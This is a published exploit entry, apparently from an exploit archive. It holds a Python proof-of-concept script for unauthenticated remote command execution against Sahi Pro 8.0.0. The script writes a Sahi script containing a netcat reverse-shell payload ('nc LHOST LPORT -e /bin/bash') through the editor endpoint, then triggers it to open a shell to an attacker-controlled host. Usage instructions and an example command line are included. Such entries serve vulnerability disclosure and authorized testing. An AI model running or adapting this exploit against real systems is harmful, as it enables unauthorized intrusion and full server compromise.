# Exploit Title: Sahi Pro V8.0.0 - Unauthenticated Remote Command Execution
# Date: 2019-07-12
# Exploit Author: Özkan Mustafa Akkuş (AkkuS)
# Contact: https://pentest.com.tr
# Vendor Homepage: https://sahipro.com
# Software Link: https://sahipro.com/static/builds/pro/install_sahi_pro_v800_20181031.jar
# Reference: https://pentest.com.tr/exploits/Sahi-Pro-v8-x-Unauthenticated-RCE-Exploit-Python.html
# Version: 8.0.0
# Category: Webapps
# Tested on: Linux 4.19.0-kali4-amd64 #1 SMP Debian 4.19.28-2kali1 (2019-03-18) x86_64 GNU/Linux
# Description: Sahi allows you to run ".sah" scripts by Sahi Launcher. Also you can create a new script with editor.
# It is possible to execute commands on the server using the function "_execute()".
# This exploit creates a new sahi script that runs "netcat" on the server and opens a shell session.
# It can take 5-20 seconds to receive session.
# ==================================================================
# PoC:
#!/usr/bin/python
import sys, requests
import colorama, random, urllib
from colorama import Fore
def bannerche():
print '''
@-------------------------------------------------------------@
| Sahi Pro v8.x - Unauthenticated RCE Exploit |
| Vulnerability discovered by AkkuS |
| My Blog - https://pentest.com.tr |
@-------------------------------------------------------------@
'''
bannerche()
def check_nc(rhost,lport):
choose = str(raw_input(Fore.RED + "+ [!] Do you listening "+rhost+" "+lport+" with netcat? (y/n): "))
if choose == "n":
return False
else:
return True
def execute_command(rhost,rport,filename):
runuri = "http://"+rhost+":"+rport+"/_s_/sprm/_s_/dyn/Player_setScriptFile"
runheaders = {"Connection": "close"}
rundata = "dir=%2Froot%2Fsahi_pro%2Fuserdata%2Fscripts%2F&file="+filename+"&starturl=&manual=0"
runsah = requests.post(runuri, headers=runheaders, data=rundata)
if runsah.status_code == 200:
print (Fore.GREEN + "+ [*] Script was executed. Please wait for the session...")
else:
print (Fore.RED + "+ [X] Failed to run script.")
sys.exit()
def create_sah(rhost,rport,scdir,lhost,lport):
filename = ''.join(random.choice('abcdefghijklmnopqrstuvwxyz0123456789') for i in range(7)) + ".sah"
payload = "_execute%28%27nc+"+lhost+"+"+lport+"+-e+%2Fbin%2Fbash%27%29%0A" # it depends I used netcat for PoC
sahuri = "http://"+rhost+":"+rport+"/_s_/dyn/pro/EditorUI_saveScript?"+urllib.urlencode({ 'dir' : scdir})+"&file="+filename+"&contents="+payload+""
saheaders = {"Connection": "close"}
sahreq = requests.get(sahuri, headers=saheaders)
if sahreq.status_code == 200:
print (Fore.GREEN + "+ [*] "+filename+" script created successfully!")
execute_command(rhost,rport,filename)
else:
print (Fore.RED + "+ [X] Failed to create "+filename+" script.")
sys.exit()
def main():
if (len(sys.argv) != 6):
print "[*] Usage: poc.py <RHOST> <RPORT> <SCDIR> <LHOST> <LPORT>"
print "[*] <RHOST> -> Target IP"
print "[*] <RPORT> -> Target Port"
print "[*] <SCDIR> -> Target Script Directory"
print "[*] <LHOST> -> Attacker IP"
print "[*] <LPORT> -> Attacker Port"
print "[*] Example: poc.py 192.168.1.2 9999 /root/sahi_pro/userdata/scripts/ 192.168.1.9 4444"
exit(0)
rhost = sys.argv[1]
rport = sys.argv[2]
scdir = sys.argv[3]
lhost = sys.argv[4]
lport = sys.argv[5]
if not check_nc(rhost,rport):
print (Fore.RED + "+ [*] Please listen to the port required for the session and run exploit again!")
else:
create_sah(rhost,rport,scdir,lhost,lport)
if __name__ == "__main__":
main()
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